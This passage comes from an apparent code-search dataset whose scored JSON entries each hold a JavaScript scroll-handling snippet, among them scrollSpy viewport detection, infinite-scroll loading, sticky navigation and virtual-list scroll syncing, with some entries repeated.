"0.67659897", "text": "function onScroll(scrollOffset) {\n // unique tick id\n ++ticks;\n\n // viewport rectangle\n var top = jWindow.scrollTop(),\n left = jWindow.scrollLeft(),\n right = left + jWindow.width(),\n bottom = top + jWindow.height();\n\n // determine which elements are in view\n var intersections = findElements(top + offset.top + scrollOffset || 200, right + offset.right, bottom + offset.bottom, left + offset.left);\n $.each(intersections, function (i, element) {\n\n var lastTick = element.data('scrollSpy:ticks');\n if (typeof lastTick != 'number') {\n // entered into view\n element.triggerHandler('scrollSpy:enter');\n }\n\n // update tick id\n element.data('scrollSpy:ticks', ticks);\n });\n\n // determine which elements are no longer in view\n $.each(elementsInView, function (i, element) {\n var lastTick = element.data('scrollSpy:ticks');\n if (typeof lastTick == 'number' && lastTick !== ticks) {\n // exited from view\n element.triggerHandler('scrollSpy:exit');\n element.data('scrollSpy:ticks', null);\n }\n });\n\n // remember elements in view for next tick\n elementsInView = intersections;\n }", "title": "" }, { "docid": "055aa47805d3f89431fe7bbfb16e0163", "score": "0.67659897", "text": "function onScroll(scrollOffset) {\n // unique tick id\n ++ticks;\n\n // viewport rectangle\n var top = jWindow.scrollTop(),\n left = jWindow.scrollLeft(),\n right = left + jWindow.width(),\n bottom = top + jWindow.height();\n\n // determine which elements are in view\n var intersections = findElements(top + offset.top + scrollOffset || 200, right + offset.right, bottom + offset.bottom, left + offset.left);\n $.each(intersections, function (i, element) {\n\n var lastTick = element.data('scrollSpy:ticks');\n if (typeof lastTick != 'number') {\n // entered into view\n element.triggerHandler('scrollSpy:enter');\n }\n\n // update tick id\n element.data('scrollSpy:ticks', ticks);\n });\n\n // determine which elements are no longer in view\n $.each(elementsInView, function (i, element) {\n var lastTick = element.data('scrollSpy:ticks');\n if (typeof lastTick == 'number' && lastTick !== ticks) {\n // exited from view\n element.triggerHandler('scrollSpy:exit');\n element.data('scrollSpy:ticks', null);\n }\n });\n\n // remember elements in view for next tick\n elementsInView = intersections;\n }", "title": "" }, { "docid": "055aa47805d3f89431fe7bbfb16e0163", "score": "0.67659897", "text": "function onScroll(scrollOffset) {\n // unique tick id\n ++ticks;\n\n // viewport rectangle\n var top = jWindow.scrollTop(),\n left = jWindow.scrollLeft(),\n right = left + jWindow.width(),\n bottom = top + jWindow.height();\n\n // determine which elements are in view\n var intersections = findElements(top + offset.top + scrollOffset || 200, right + offset.right, bottom + offset.bottom, left + offset.left);\n $.each(intersections, function (i, element) {\n\n var lastTick = element.data('scrollSpy:ticks');\n if (typeof lastTick != 'number') {\n // entered into view\n element.triggerHandler('scrollSpy:enter');\n }\n\n // update tick id\n element.data('scrollSpy:ticks', ticks);\n });\n\n // determine which elements are no longer in view\n $.each(elementsInView, function (i, element) {\n var lastTick = element.data('scrollSpy:ticks');\n if (typeof lastTick == 'number' && lastTick !== ticks) {\n // exited from view\n element.triggerHandler('scrollSpy:exit');\n element.data('scrollSpy:ticks', null);\n }\n });\n\n // remember elements in view for next tick\n elementsInView = intersections;\n }", "title": "" }, { "docid": "055aa47805d3f89431fe7bbfb16e0163", "score": "0.67659897", "text": "function onScroll(scrollOffset) {\n // unique tick id\n ++ticks;\n\n // viewport rectangle\n var top = jWindow.scrollTop(),\n left = jWindow.scrollLeft(),\n right = left + jWindow.width(),\n bottom = top + jWindow.height();\n\n // determine which elements are in view\n var intersections = findElements(top + offset.top + scrollOffset || 200, right + offset.right, bottom + offset.bottom, left + offset.left);\n $.each(intersections, function (i, element) {\n\n var lastTick = element.data('scrollSpy:ticks');\n if (typeof lastTick != 'number') {\n // entered into view\n element.triggerHandler('scrollSpy:enter');\n }\n\n // update tick id\n element.data('scrollSpy:ticks', ticks);\n });\n\n // determine which elements are no longer in view\n $.each(elementsInView, function (i, element) {\n var lastTick = element.data('scrollSpy:ticks');\n if (typeof lastTick == 'number' && lastTick !== ticks) {\n // exited from view\n element.triggerHandler('scrollSpy:exit');\n element.data('scrollSpy:ticks', null);\n }\n });\n\n // remember elements in view for next tick\n elementsInView = intersections;\n }", "title": "" }, { "docid": "0b0f635abb41936d1d0e0b81a1ed1260", "score": "0.67634344", "text": "function handleScrolling(){\n domContent = document.querySelector(\".content\")\n domContent.addEventListener(\"scroll\",updateOnScrolling);\n updateOnScrolling();\n}", "title": "" }, { "docid": "3da0fe2e8f0c9ca8526f0d62016cc316", "score": "0.6737568", "text": "function onScroll(scrollOffset) {\r\n // unique tick id\r\n ++ticks;\r\n\r\n // viewport rectangle\r\n var top = jWindow.scrollTop(),\r\n left = jWindow.scrollLeft(),\r\n right = left + jWindow.width(),\r\n bottom = top + jWindow.height();\r\n\r\n // determine which elements are in view\r\n var intersections = findElements(top + offset.top + scrollOffset || 200, right + offset.right, bottom + offset.bottom, left + offset.left);\r\n $.each(intersections, function (i, element) {\r\n\r\n var lastTick = element.data('scrollSpy:ticks');\r\n if (typeof lastTick != 'number') {\r\n // entered into view\r\n element.triggerHandler('scrollSpy:enter');\r\n }\r\n\r\n // update tick id\r\n element.data('scrollSpy:ticks', ticks);\r\n });\r\n\r\n // determine which elements are no longer in view\r\n $.each(elementsInView, function (i, element) {\r\n var lastTick = element.data('scrollSpy:ticks');\r\n if (typeof lastTick == 'number' && lastTick !== ticks) {\r\n // exited from view\r\n element.triggerHandler('scrollSpy:exit');\r\n element.data('scrollSpy:ticks', null);\r\n }\r\n });\r\n\r\n // remember elements in view for next tick\r\n elementsInView = intersections;\r\n }", "title": "" }, { "docid": "eccb04d5f5452f589ea873e08cfdb95b", "score": "0.6703957", "text": "function handleScroll(scroller, event) {\n if (scroller.updateInitiated) {\n return;\n } \n var scrollPos = getScrollPos();\n if (scrollPos == prevScrollPos) {\n return; // nothing to do\n }\n \n // Find the pageHeight and clientHeight(the no. of pixels to scroll to make the scrollbar reach max pos)\n var pageHeight = document.documentElement.scrollHeight;\n var clientHeight = document.documentElement.clientHeight;\n \n // Check if scroll bar position is just 50px above the max, if yes, initiate an update\n if (pageHeight - (scrollPos + clientHeight) < scroller.options.distance) {\n scroller.updateInitiated = true;\n\n scroller.options.callback(function() {\n scroller.updateInitiated = false;\n });\n }\n \n prevScrollPos = scrollPos; \n}", "title": "" }, { "docid": "7ed339edc3fc6e283baf41f4ea5eda5c", "score": "0.6699333", "text": "onScroll(e) {\n let scrollTop = e.target.scrollTop;\n if (this._silent || this.smoothScroll.running || Math.abs(scrollTop - this.smoothScroll.target) <= 0.5 || !this.props.onScroll) return;\n this.props.onScroll(scrollTop);\n }", "title": "" }, { "docid": "42309a31332bcd165e8ec290817f43ed", "score": "0.66530645", "text": "scroll(e) {\n\n }", "title": "" }, { "docid": "5fb601fea5c727c211d55eb57d42374e", "score": "0.66304207", "text": "handleScrollEvent() {\n const scrollTop = (document.documentElement && document.documentElement.scrollTop) || document.body.scrollTop;\n const scrollHeight = (document.documentElement && document.documentElement.scrollHeight) || document.body.scrollHeight;\n const clientHeight = document.documentElement.clientHeight || window.innerHeight;\n const scrolledToBottom = Math.floor(scrollTop + clientHeight + SCROLL_THRESHOLD) >= scrollHeight;\n\n if (scrolledToBottom) {\n this.loadNextPage();\n }\n }", "title": "" }, { "docid": "05774e38a056e4b03564adb428fa32c0", "score": "0.66251546", "text": "function scroll(els) {\n // $('.step') ==> These are the els\n sections = els;\n\n // when window is scrolled call\n // position. When it is resized\n // call resize.\n d3.select(window)\n .on(\"scroll.scroller\", position)\n .on(\"resize.scroller\", resize);\n\n // manually call resize\n // initially to setup\n // scroller.\n resize();\n\n // hack to get position\n // to be called once for\n // the scroll position on\n // load.\n d3.timer(function() {\n position();\n return true;\n });\n }", "title": "" }, { "docid": "a097a2157f482d2fe5c8c193b69cd254", "score": "0.6619273", "text": "function scrollHandler() {\n menuListen();\n menuFreeze();\n }", "title": "" }, { "docid": "04385fc75a32c261bd72a009a9f5a6d7", "score": "0.6602667", "text": "handleScroll() {\n this.setState({ scroll:\n window.scrollY \n })\n }", "title": "" }, { "docid": "458f9e3be1c13922e563eb72007207dc", "score": "0.6589889", "text": "function _scrollUpdate(event) {\n\t if (!this.options.enabled) {\n\t return;\n\t }\n\t var offset = Array.isArray(event.delta) ? event.delta[this._direction] : event.delta;\n\t this.scroll(offset);\n\t }", "title": "" }, { "docid": "ee25f42534802e39814a950720223a04", "score": "0.6588523", "text": "handleScroll_() {\n this.resetAutoAdvance_();\n }", "title": "" }, { "docid": "d60c00ff0c011143b6972b32f63a8827", "score": "0.657513", "text": "_handleScroll() {\n // If we are adding entries right now,\n // ignore any scroll event.\n if (this._scrollGuard) {\n return;\n }\n // Only page if we hit the top.\n if (this._content.node.scrollTop <= NEW_PAGE_POSITION && this._start > 0) {\n const startingHeight = this._content.node.scrollHeight;\n const startingPosition = this._content.node.scrollTop;\n this._addPage(PAGE_LENGTH);\n // Attempt to place the scroll position at\n // same entry where we started.\n this._content.node.scrollTop =\n this._content.node.scrollHeight - startingHeight + startingPosition;\n }\n }", "title": "" }, { "docid": "e8e48c0c13a0efefa9bc7299648955bc", "score": "0.6551322", "text": "function handleScroll () {\n\t\tconst currentScroll = document.scrollingElement ? document.scrollingElement.scrollTop : document.documentElement.scrollTop\n\n\t\tsetStickyNav(currentScroll)\n\t}", "title": "" }, { "docid": "f446d94f84a78879b4a92f496cb88d6f", "score": "0.6549322", "text": "function onScroll(e) {\n if (game) {\n game.onScroll(e.deltaY);\n }\n}", "title": "" }, { "docid": "1aaf94c1a5a482151c799bf8a9c48761", "score": "0.65437794", "text": "function handleScrollerUpdate () {\n\t\tif (scrollContainerHandle.current.scrollToInfo === null) {\n\t\t\tconst scrollHeight = scrollContainerHandle.current.getScrollBounds().scrollHeight;\n\n\t\t\tif (scrollHeight !== scrollContainerHandle.current.bounds.scrollHeight) {\n\t\t\t\tcalculateAndScrollTo();\n\t\t\t}\n\t\t}\n\n\t\t// oddly, Scroller manages scrollContainerHandle.current.bounds so if we don't update it here (it is also\n\t\t// updated in calculateAndScrollTo but we might not have made it to that point), it will be\n\t\t// out of date when we land back in this method next time.\n\t\tscrollContainerHandle.current.bounds.scrollHeight = scrollContainerHandle.current.getScrollBounds().scrollHeight;\n\t}", "title": "" }, { "docid": "c1bfee64025541ad4bebd62558ac717d", "score": "0.6510752", "text": "function mkdfOnWindowScroll() {\n \n }", "title": "" }, { "docid": "5aec11b9004fccd14151be1be1871e8b", "score": "0.64789295", "text": "set onScroll(fun) { this.document.onwheel = fun; }", "title": "" }, { "docid": "c370535e3afc86743b70b1027ef456a5", "score": "0.64700687", "text": "function onScrollFinished() {\n let value = ref.current.scrollTop / iconDragYDistance;\n let decimalValue = value % 1;\n store.dispatch(viewportScrolled(decimalValue > LEVEL_SNAP_CUTOFF_PERCENTAGE ? Math.ceil(value): Math.floor(value)));\n }", "title": "" }, { "docid": "b50af2c1e09bd5265d048f648b3a86aa", "score": "0.64547455", "text": "function handleMenuScroll(e) {\n doScroll(e);\n }", "title": "" }, { "docid": "9fa36d5d541f053ec47a3c9f750b7bca", "score": "0.64420897", "text": "updateScrolling () {\n this.resetAllScrollPositions().call(allTransitionsEnded, () => {\n this.levels.updateScrollProperties();\n this.scrollbars.updateVisibility();\n });\n }", "title": "" }, { "docid": "36f1a32c4d49d9b63ffd7601e976c12b", "score": "0.6433179", "text": "listenForScroll() {\n window.addEventListener('scroll', () => {\n const { yPos, up } = this.props; //downBaseYPos\n const prevYPos = yPos;\n const current = window.pageYOffset;\n // if current yPos is less than previous, scrolling upwards\n if(current <= prevYPos) {\n // console.log('scrolling upwards!');\n // just started going up, keep track of beginning of upwards distance\n if(up === false) {\n this.props.dispatch(setBaseYPos(current));\n this.props.dispatch(setUpDirection(true));\n }\n } else { // scrolling downwards\n // console.log('scrolling DOWNWARDS!');\n // just started going dowm, keep track of beginning of downwards distance\n if(up === true) {\n this.props.dispatch(setDownBaseYPos(current))\n this.props.dispatch(setUpDirection(false));\n }\n // this.props.dispatch(setBaseYPos(0));\n }\n this.props.dispatch(setYPos(current));\n });\n }", "title": "" }, { "docid": "6d4533c9b62cde61e7fceed936e37d13", "score": "0.6430086", "text": "function mkdfOnWindowScroll() {\n }", "title": "" }, { "docid": "feb6c206de6a1ec5629f9164c147127d", "score": "0.64288753", "text": "function onScroll() {\n\t\thasScolled = true;\n\t\t// Prevent multiple rAF callbacks.\n\t\tif (scheduledAnimationFrame){\n\t\t\treturn;\n\t\t}\n\t\tscheduledAnimationFrame = true;\n\t\trequestAnimationFrame(cueScrollElements);\n\t}", "title": "" }, { "docid": "7de54783307ea5a941278f2cbf4e4382", "score": "0.6424798", "text": "function bindScrollEventHandler(){\n $(document).scroll(scrollEventHandler);\n}", "title": "" }, { "docid": "99e3e53d56bb04b65ac3bbffba18b67e", "score": "0.6419364", "text": "function onScroll() {\n requestTick();\n}", "title": "" }, { "docid": "3c5053dea5997191c9d0b516b65014c2", "score": "0.63907623", "text": "function updateScroll () {\n target = window.scrollY || window.pageYOffset\n startAnimation()\n}", "title": "" }, { "docid": "e9db2c517de217e712a78f85da5e2051", "score": "0.6379455", "text": "logScrollEvent(event) {\n if (event.type === 'scrollStart') {\n this.scrolling = true;\n } else if (event.type === 'scrollStop' || event.type === 'scrollCancel') {\n // Wait before unsetting the scrolling flag as waypoint events may fire\n // at same time as `scrollStop` event, avoids race condition\n setTimeout(() => {\n this.scrolling = false;\n }, 100);\n }\n }", "title": "" }, { "docid": "cdd82706b024c7943c8f1f3452958bd9", "score": "0.63758343", "text": "_onWindowScroll(){\n this.markAsDirty();\n }", "title": "" }, { "docid": "aefcf7f99b6f476efb2616b9f6e59a0f", "score": "0.6366039", "text": "handleScroll() {\n // check it reached (almost) end of screen - and if so - get more images\n if ((window.innerHeight + window.scrollY) >= document.body.offsetHeight - 500){\n this.getImages(this.props.tag);\n \n // remove the event listener\n document.removeEventListener('scroll', this.trackScrolling);\n }\n }", "title": "" }, { "docid": "d05a4907ebbf8fd8ff92522780569121", "score": "0.6365735", "text": "_handleScroll() {\n var isInViewport = function (elem) {\n var bounding = elem.getBoundingClientRect();\n return (\n bounding.top >= -400 &&\n // Some browsers support window.innerWidth, other’s support document.documentElement.clientWidth\n bounding.bottom - 300 <= (window.innerHeight || document.documentElement.clientHeight)\n );\n };\n\n var arr = document.getElementsByClassName('project_frame');\n\n for (const elem of arr) {\n console.log('listening to scrolling');\n if (isInViewport(elem)) {\n console.log(elem.id + \" Is in viewport\");\n document.getElementById(elem.id).classList.add(\"glow\");\n //this.setState({focused: \" glow\"});\n }\n else {\n console.log(elem.id + \" Not in view\");\n document.getElementById(elem.id).classList.remove(\"glow\");\n //this.setState({focused: \"\"});\n }\n }\n\n\n\n }", "title": "" }, { "docid": "1112b57a605d2d6a3746e915162e5656", "score": "0.6340953", "text": "function updateOnTouchScroll(event, scrollingDirection) {\n\tevent.preventDefault();\t\t\t\t\t\t\t\t\t\t\t//Prevents the document to scroll\n\tlet currentTouch = event.targetTouches[0];\t\t\t\t\t\t//Stores inside the currentTouch javascript variable the last detected touch object\n\tlet delta = currentTouch.clientY - previousTouch.clientY;\t\t//The distance the finger traveled on the Y axis from the first touch of the touchEvent\n\tlet deltaYforScroll = event.target.offsetHeight/2;\t\t\t\t//The number of pixels the user has to move his finger through in order to trigger a scroll on the element is equal to the element height / 2\n\n\tif(delta > deltaYforScroll || delta < -deltaYforScroll) {\t\t//Every deltaYforScroll pixels upward or downward on the Y axis (this check is usefull to have a linear and controlled scroll indipendent by the speed of finger's movement)\n\t\tif(menuSectionElement.innerHTML == \"\") \t\t\t\t\t\t//If the user didn't trigger any popUpMenu during the movement\n\t\t\tscroll(delta * scrollingDirection, event.target.id);\t//The scroll function is called by passing it the delta (its sign is the only thing that matters) and the touchEvent target's id\n\t\tpreviousTouch = currentTouch;\t\t\t\t\t\t\t\t//The finger's travel is reset by setting the previousTouch javascript variable equals to the last detected touch\n\t}\n}", "title": "" }, { "docid": "4fde6f6f9fbeb2a64eb08cf8337b7a1b", "score": "0.6337252", "text": "function handleWindowScroll (window) {\n\n var scrollTop = window.scrollTop();\n\n // Set menu position.\n updateHeaderMenuPosition(scrollTop);\n\n // Set active section.\n updateActiveSection(scrollTop);\n }", "title": "" }, { "docid": "42f6edccb35a876beac480d38e6cca5c", "score": "0.6329258", "text": "function handleScroll([event]) {\n // Basically, delta is now positive if wheel was scrolled up,\n // and negative, if wheel was scrolled down.\n let delta = 0;\n if (event.detail)\n delta = -event.detail;\n if (delta > 0 && currentScrolledIndex > 0)\n currentScrolledIndex--;\n else if (delta < 0 && currentScrolledIndex < relatedScrolledArray.length - 1)\n currentScrolledIndex++;\n else {\n delta = null;\n return;\n }\n if (currentScrolledIndex != indexB4Scrolling) {\n partPointer = scrolledStack;\n let (tempPart = enhancedURLBar.firstChild) {\n partsWidth = 0;\n while (tempPart != partPointer) {\n partsWidth += tempPart.boxObject.width;\n tempPart = tempPart.nextSibling;\n }\n }\n mouseScrolled = true;\n let scrollVal = relatedScrolledArray[currentScrolledIndex][0].split(\" > \");\n for (let i = 0; i < scrollVal.length; i++) {\n addPart(scrollVal[i], relatedScrolledArray[currentScrolledIndex][1], false, false,\n i == relatedScrolledArray[currentScrolledIndex][0].split(\" > \").length - 1);\n if (partPointer != null) {\n highlightPart(partPointer.previousSibling, true, true);\n if (i == 0)\n scrolledStack = partPointer.previousSibling;\n }\n else {\n highlightPart(enhancedURLBar.lastChild, true, true);\n if (i == 0)\n scrolledStack = enhancedURLBar.lastChild;\n }\n }\n }\n else if (currentScrolledIndex == indexB4Scrolling){\n updateURL();\n partPointer = scrolledStack.nextSibling;\n while (partPointer != null) {\n highlightPart(partPointer, false, false);\n partPointer = partPointer.nextSibling;\n }\n highlightPart(scrolledStack, true, true);\n partPointer = enhancedURLBar.firstChild;\n }\n delta = null;\n updateLook();\n }", "title": "" }, { "docid": "15b27ffae84c1cf86932ccb495e7186b", "score": "0.63242203", "text": "doScroll() {\n this.state.prevPosition += this.state.speed;\n window.scrollTo(0, this.state.prevPosition);\n requestAnimationFrame(this.animateScroll);\n }", "title": "" }, { "docid": "54f4b3ec737e34499b595d5549e7d4fc", "score": "0.63167185", "text": "doScroll() {\n if (this.scrollDirection == 'bottom') {\n this.scrollBottom();\n }\n else if (this.scrollDirection == 'top') {\n this.scrollTop();\n }\n }", "title": "" }, { "docid": "a20926b7ed575dc3096596f4c20620f5", "score": "0.63164836", "text": "handleScroll(event) {\n const target = event.target;\n const cachedPosition = this.positions.get(target);\n if (!cachedPosition) {\n return null;\n }\n // Used when figuring out whether an element is inside the scroll parent. If the scrolled\n // parent is the `document`, we use the `documentElement`, because IE doesn't support\n // `contains` on the `document`.\n const scrolledParentNode = target === this._document ? target.documentElement : target;\n const scrollPosition = cachedPosition.scrollPosition;\n let newTop;\n let newLeft;\n if (target === this._document) {\n const viewportScrollPosition = this._viewportRuler.getViewportScrollPosition();\n newTop = viewportScrollPosition.top;\n newLeft = viewportScrollPosition.left;\n }\n else {\n newTop = target.scrollTop;\n newLeft = target.scrollLeft;\n }\n const topDifference = scrollPosition.top - newTop;\n const leftDifference = scrollPosition.left - newLeft;\n // Go through and update the cached positions of the scroll\n // parents that are inside the element that was scrolled.\n this.positions.forEach((position, node) => {\n if (position.clientRect && target !== node && scrolledParentNode.contains(node)) {\n adjustClientRect(position.clientRect, topDifference, leftDifference);\n }\n });\n scrollPosition.top = newTop;\n scrollPosition.left = newLeft;\n return { top: topDifference, left: leftDifference };\n }", "title": "" }, { "docid": "680a8be958e81f7998a0f1a03f9bf9b3", "score": "0.6304475", "text": "handleScroll () {\n // Retrieve message container HTML Element\n const messagesContainer = this.get('messagesContainer')\n\n const scrollTop = messagesContainer.scrollTop\n const scrollHeight = messagesContainer.scrollHeight\n const viewPortHeight = messagesContainer.offsetHeight\n\n /**\n * offset from the bottom which should be considered by notify that the user\n * is waiting for the latest message.\n * @type {Number}\n */\n const offset = 200\n\n // Scroll to the latest message if the user is within the offset specified.\n if ((scrollHeight - (scrollTop + viewPortHeight)) < offset) {\n this.scrollDown()\n }\n }", "title": "" }, { "docid": "c4458d12556ccf3c298deae8e038faa3", "score": "0.62966734", "text": "function processScroll() {\n didScroll = false;\n\n var windowScrollTop = win.scrollTop();\n\n //console.log(\"windowScrollTop=\" + windowScrollTop + \"; stalkerOffsetTop=\" + stalkerOffsetTop + \"; galleryOffsetTop=\" + galleryOffsetTop);\n\n if (windowScrollTop > galleryOffsetTop) {\n //console.log(\"state 3\");\n changeTakeover(\"pencil\");\n changeStalker(\"fixed\");\n changeGallery(\"fixed\");\n } else if (stalkerOffsetTop <= windowScrollTop && windowScrollTop <= galleryOffsetTop) {\n //console.log(\"state 2\");\n changeTakeover(\"initial\");\n changeStalker(\"fixed\");\n changeGallery(\"fixed\");\n } else {\n //console.log(\"state 1\");\n changeTakeover(\"initial\");\n changeStalker(\"static\");\n changeGallery(\"static\");\n }\n\n doc.trigger(\"couponsinc:windowScrolled\");\n\n // Remember last scroll position, so later I'll know scroll direction\n lastScrollTop = windowScrollTop;\n }", "title": "" }, { "docid": "14f50a212f1698ba833dd0daa5aa98a4", "score": "0.62954795", "text": "function onScroll(e)\n{\n\t// Checks if there even is an event\n\tif(e!=null)\n\t{\n\t\tcameraDistance = cameraDistance * (1 + (e.deltaY * 0.005));\t// Updates the camera distance (we use logarithmic scrolling)\n\t\t// Makes shure we newer get closer than 10\n\t\tif(cameraDistance < 10)\n\t\t{\n\t\t\tcameraDistance = 10;\n\t\t}\n\t\t// Makes shure we newer get farther away than 10000\n\t\telse if(cameraDistance > 10000)\n\t\t{\n\t\t\tcameraDistance = 10000;\n\t\t}\n\t\tupdateCamera(); // Actually updates the camera\n\t\tanimate();\n\t}\n}", "title": "" }, { "docid": "5c9775ebe9aa71d318595333fbdcc8d6", "score": "0.6293215", "text": "function ViewActiveSection()\n{\ndocument.addEventListener('scroll',isInViewport);\n}", "title": "" }, { "docid": "9c2001bcb990d38105af0ce65caccfaf", "score": "0.6283026", "text": "doScroll() {\n if (this.scrollDirection == \"bottom\") {\n this.scrollBottom();\n }\n else if (this.scrollDirection == \"top\") {\n this.scrollTop();\n }\n }", "title": "" }, { "docid": "e084589dcf1cfb614837b2ff640067c6", "score": "0.6280282", "text": "function handleVirtualListScroll(e) {\n var _a;\n (_a = scrollbarRef.value) === null || _a === void 0 ? void 0 : _a.sync();\n doScroll(e);\n }", "title": "" }, { "docid": "bc707dd4e8070babb43a6b0ec04a508c", "score": "0.62787795", "text": "function handleVirtualListScroll(e) {\n var _a;\n (_a = scrollbarRef.value) === null || _a === void 0 ? void 0 : _a.sync();\n doScroll(e);\n }", "title": "" }, { "docid": "0a9614ef4baa2f906a998821efc81ebb", "score": "0.6266143", "text": "function updateScroll () {\n if (!elements.li[0]) return;\n var height = elements.li[0].offsetHeight,\n top = height * ctrl.index,\n bot = top + height,\n hgt = elements.scroller.clientHeight,\n scrollTop = elements.scroller.scrollTop;\n if (top < scrollTop) {\n scrollTo(top);\n } else if (bot > scrollTop + hgt) {\n scrollTo(bot - hgt);\n }\n }", "title": "" }, { "docid": "0a9614ef4baa2f906a998821efc81ebb", "score": "0.6266143", "text": "function updateScroll () {\n if (!elements.li[0]) return;\n var height = elements.li[0].offsetHeight,\n top = height * ctrl.index,\n bot = top + height,\n hgt = elements.scroller.clientHeight,\n scrollTop = elements.scroller.scrollTop;\n if (top < scrollTop) {\n scrollTo(top);\n } else if (bot > scrollTop + hgt) {\n scrollTo(bot - hgt);\n }\n }", "title": "" }, { "docid": "0a9614ef4baa2f906a998821efc81ebb", "score": "0.6266143", "text": "function updateScroll () {\n if (!elements.li[0]) return;\n var height = elements.li[0].offsetHeight,\n top = height * ctrl.index,\n bot = top + height,\n hgt = elements.scroller.clientHeight,\n scrollTop = elements.scroller.scrollTop;\n if (top < scrollTop) {\n scrollTo(top);\n } else if (bot > scrollTop + hgt) {\n scrollTo(bot - hgt);\n }\n }", "title": "" }, { "docid": "0a9614ef4baa2f906a998821efc81ebb", "score": "0.6266143", "text": "function updateScroll () {\n if (!elements.li[0]) return;\n var height = elements.li[0].offsetHeight,\n top = height * ctrl.index,\n bot = top + height,\n hgt = elements.scroller.clientHeight,\n scrollTop = elements.scroller.scrollTop;\n if (top < scrollTop) {\n scrollTo(top);\n } else if (bot > scrollTop + hgt) {\n scrollTo(bot - hgt);\n }\n }", "title": "" }, { "docid": "0a9614ef4baa2f906a998821efc81ebb", "score": "0.6266143", "text": "function updateScroll () {\n if (!elements.li[0]) return;\n var height = elements.li[0].offsetHeight,\n top = height * ctrl.index,\n bot = top + height,\n hgt = elements.scroller.clientHeight,\n scrollTop = elements.scroller.scrollTop;\n if (top < scrollTop) {\n scrollTo(top);\n } else if (bot > scrollTop + hgt) {\n scrollTo(bot - hgt);\n }\n }", "title": "" }, { "docid": "0a9614ef4baa2f906a998821efc81ebb", "score": "0.6266143", "text": "function updateScroll () {\n if (!elements.li[0]) return;\n var height = elements.li[0].offsetHeight,\n top = height * ctrl.index,\n bot = top + height,\n hgt = elements.scroller.clientHeight,\n scrollTop = elements.scroller.scrollTop;\n if (top < scrollTop) {\n scrollTo(top);\n } else if (bot > scrollTop + hgt) {\n scrollTo(bot - hgt);\n }\n }", "title": "" }, { "docid": "c8fab62c53daddf14e256e331b49c718", "score": "0.62519735", "text": "onScroll( callback ) {\n this._scrollcb = callback;\n }", "title": "" }, { "docid": "88f70c3495b19c3f1dada96f002acaa3", "score": "0.62361926", "text": "function scrolled(e){\n\t\tif(_paused){\n\t\t\t//console.log(\"ON PAUSE!!!\");\n\t\t\treturn; //Important!\n\t\t}\n\t\t//Check if module is in view\n\t\t//When GLB._windowScrollTweenedY > _instance.moduleBottom the module has scrolled further up\n\t\t//When GLB._windowScrollTweenedY < _instance.moduleTop the module has not scrolled far enough down\n\t\tif(GLB._windowScrollTweenedY > _instance.moduleTop && GLB._windowScrollTweenedY < _instance.moduleBottom) _inView = true;\n\t\telse _inView = false;\n\t\t//Manage being close enough to screen that some elements need preload etc.\n\t\tif(GLB._windowScrollTweenedY > _instance.moduleTop-_instance.moduleProximity && GLB._windowScrollTweenedY < _instance.moduleBottom+_instance.moduleProximity) _inProximity = true;\n\t\telse _inProximity = false;\n\t\tif(!_preloaded && !_preloadTimerInit && _inProximity) preload();//Check proximity to see if instance is close to view\n\t\t\n\t\tif(_inView){\n\t\t\tif(!_started) start();//Render module\n\t\t}\n\t\telse if(_started) stop();//Stop rendering, because module is out of view\n\t\t//Parallax\n\t\tif(_inProximity && _parallax) _instance.scrolled();\n\t}", "title": "" }, { "docid": "c35b17c86770093e6e68014dbebe4c08", "score": "0.62307465", "text": "function onScroll() {\n canvas.addEventListener('mousewheel', function (evt) {\n var delta = -evt.deltaY / 20;\n evt.preventDefault();\n // scrollLevelCamera(delta); // NOW USE camera.js scrollcamera()\n setCursorPosition(evt);\n evt.returnValue = false;\n }, false);\n}", "title": "" }, { "docid": "d138d9effc2472418b8ae8e0a804d3b6", "score": "0.62284046", "text": "function updateScroll () {\r\n if (!elements.li[0]) return;\r\n var height = elements.li[0].offsetHeight,\r\n top = height * ctrl.index,\r\n bot = top + height,\r\n hgt = elements.scroller.clientHeight,\r\n scrollTop = elements.scroller.scrollTop;\r\n if (top < scrollTop) {\r\n scrollTo(top);\r\n } else if (bot > scrollTop + hgt) {\r\n scrollTo(bot - hgt);\r\n }\r\n }", "title": "" }, { "docid": "ef8f4cb949a63bc835ec022f2e08083a", "score": "0.62270784", "text": "function onScroll(e) {\n\n\t\t// this.scrollLeft/Top is faster then $(this).scrollLeft/Top()\n\t\tvar newLeft = this.scrollLeft;\n\t\tvar newTop = this.scrollTop;\n\n\t\tvar xVector = newLeft - e.data.left;\n\t\tvar yVector = newTop - e.data.top;\n\n\t\tif (xVector)\n\t\t\t$(this).trigger('scrollx', xVector);\n\t\tif (yVector)\n\t\t\t$(this).trigger('scrolly', yVector);\n\n\t\te.data.left = newLeft;\n\t\te.data.top = newTop;\n\t}", "title": "" }, { "docid": "1c8ad086b13d90f3d82c63d8409fd323", "score": "0.6221139", "text": "function scrollListener(event) {\n console.log('scroll start');\n for (let i = 0; i < sections.length; i++) {\n const elem = sections[i];\n const inView = inViewport(elem.querySelector('h2')); // Done here instead of multple times\n const aClass = elem.classList.contains('your-active-class');\n if (inView && !aClass) { // In viewport and not already active\n elem.classList.add('your-active-class');\n } else if (!inView) { //Not in viewport\n elem.classList.remove('your-active-class');\n }\n }\n console.log('scroll end');\n}", "title": "" }, { "docid": "a9ebe946319fae1d3162ae5b1cbb3ddd", "score": "0.6207307", "text": "_onScrollResize(e) {\n\t\tthis._setPosition();\n\t}", "title": "" }, { "docid": "c574404fa50071ebdc11628705d1fad4", "score": "0.6204711", "text": "_updateRenderedContentAfterScroll() {\n const viewport = this._viewport;\n // The current scroll offset.\n const scrollOffset = viewport.measureScrollOffset();\n // The delta between the current scroll offset and the previously recorded scroll offset.\n let scrollDelta = scrollOffset - this._lastScrollOffset;\n // The magnitude of the scroll delta.\n let scrollMagnitude = Math.abs(scrollDelta);\n // The currently rendered range.\n const renderedRange = viewport.getRenderedRange();\n // If we're scrolling toward the top, we need to account for the fact that the predicted amount\n // of content and the actual amount of scrollable space may differ. We address this by slowly\n // correcting the difference on each scroll event.\n let offsetCorrection = 0;\n if (scrollDelta < 0) {\n // The content offset we would expect based on the average item size.\n const predictedOffset = renderedRange.start * this._averager.getAverageItemSize();\n // The difference between the predicted size of the un-rendered content at the beginning and\n // the actual available space to scroll over. We need to reduce this to zero by the time the\n // user scrolls to the top.\n // - 0 indicates that the predicted size and available space are the same.\n // - A negative number that the predicted size is smaller than the available space.\n // - A positive number indicates the predicted size is larger than the available space\n const offsetDifference = predictedOffset - this._lastRenderedContentOffset;\n // The amount of difference to correct during this scroll event. We calculate this as a\n // percentage of the total difference based on the percentage of the distance 